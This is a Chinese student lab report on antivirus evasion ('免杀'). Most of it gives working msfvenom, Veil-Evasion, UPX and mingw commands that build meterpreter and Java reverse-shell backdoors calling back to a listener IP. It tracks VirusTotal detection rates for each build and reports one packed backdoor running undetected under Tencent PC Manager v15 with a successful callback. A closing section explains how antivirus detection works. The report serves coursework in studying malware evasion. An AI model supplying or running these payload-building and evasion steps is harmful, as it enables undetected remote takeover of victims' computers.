Exp3-免杀原理
1.实验内容
(1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件,
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
3.实验过程
(1).准备工作
kali虚拟机IP:192.168.101.129
免杀测试平台:https://www.virustotal.com/
(2).正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- 检测直接生成的后门exe文件-20191201_backdoor.exe(实验二中的后门程序)
免杀率:54/69
- 使用Unicode编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.101.129 LPORT=1201 -f exe > backdoor1.exe
免杀率:53/69
- 编码多次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -15 -b ‘\x00’ LHOST=192.168.101.129 LPORT=1201 -f exe > backdoor2.exe
其中-i后的数字为迭代次数
免杀率:47/67
- 利用php格式文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.101.129 LPORT=1201 x> backdoor_php.php
免杀率:21/57
- 利用jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.101.129 LPORT=1201 -f jar > backdoor_jar.jar
免杀率:32/60
- veil,加壳工具
进入root模式
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
修改第260行:
修改后,一路安装:
安装完成后,键入:
/usr/share/veil/config/setup.sh --force --silent
进入vail:
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.101.129
set LPORT 1201
generate
文件保存路径:/var/lib/veil/output/compiled/
免杀率:40/69
加壳:
upx 20191201veil.exe -o 20191201_veil_upx.exe
注意这时命令行所在界面要有20191XXXveil.exe
免杀率:40/69
- 使用C + shellcode编程
使用msfvenom得到shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.129 LPORT=1201 -f c
编辑C文件:
unsigned char buf[]=
//你的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f c
生成可执行文件:i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
免杀率:34\69
(3).通过组合应用各种技术实现恶意代码免杀
- 利用python+aes_encrypt
进入vail,键入:list,寻找payload:
键入:
use python/shellcode_inject/aes_encrypt.py
generate
2
配置IP和端口号:
文件保存位置:/user/share/veil/./Veil.py //注:这一步我做错了,不应该检测Veil.py,等博主有时间再改
免杀率:0/57
(4).用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑:win7
杀软:腾讯电脑管家(版本:v15)、
win7侧开启杀软(这里出现风险是因为信息安全保障课的实验需要,所以对浏览器进行了设置,杀软并没有查出后门软件):
直接使用上述实验中的加壳后门软件20191201_veil__upx.exe,并运行 20191201_veil__upx.exe,杀软也没有任何反应
kali侧监听,回连成功:
3.实验感想
在我看来,这各实验应该是三个实验中属于较简单的那一个。如果了解背后原理之后,并且掌握好以前实验中监听、生成shellcode的过程,这次的实验过程会比较顺利。
但此次实验所涉及的免杀这一概念对于我们来说是很重要的。现如今我们电脑上总是会有一款或多款杀毒软件,我们平时也早已习惯了它们的存在,对它们总是抱着近乎百分之百的信任。然而,在知道免杀的原理及过程后,我们在选择杀软以及日常使用中要更加小心。信息安全无小事,只有多提防、少犯错,才能保证我们的电脑不受侵害。
4.基础问题
(1)杀软是如何检测出恶意代码的?
- 检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。 - 启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。 - 基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么?
通过反汇编、逆向工程等手段躲避杀毒软件,使病毒木马免于被杀毒软件查杀。
(3)免杀的基本方法有哪些?
加壳改壳、添加加花指令、改程序入口点。大体上可分为修改特征码和使杀毒软件检测不到特征码。
(4)开启杀软能绝对防止电脑中恶意代码吗?
很明显不能,如果免杀手段高明,且使用的杀毒软件较为脆弱、有明显漏洞的话,就算开启了杀毒软件也不能对电脑起到太大的保护作用。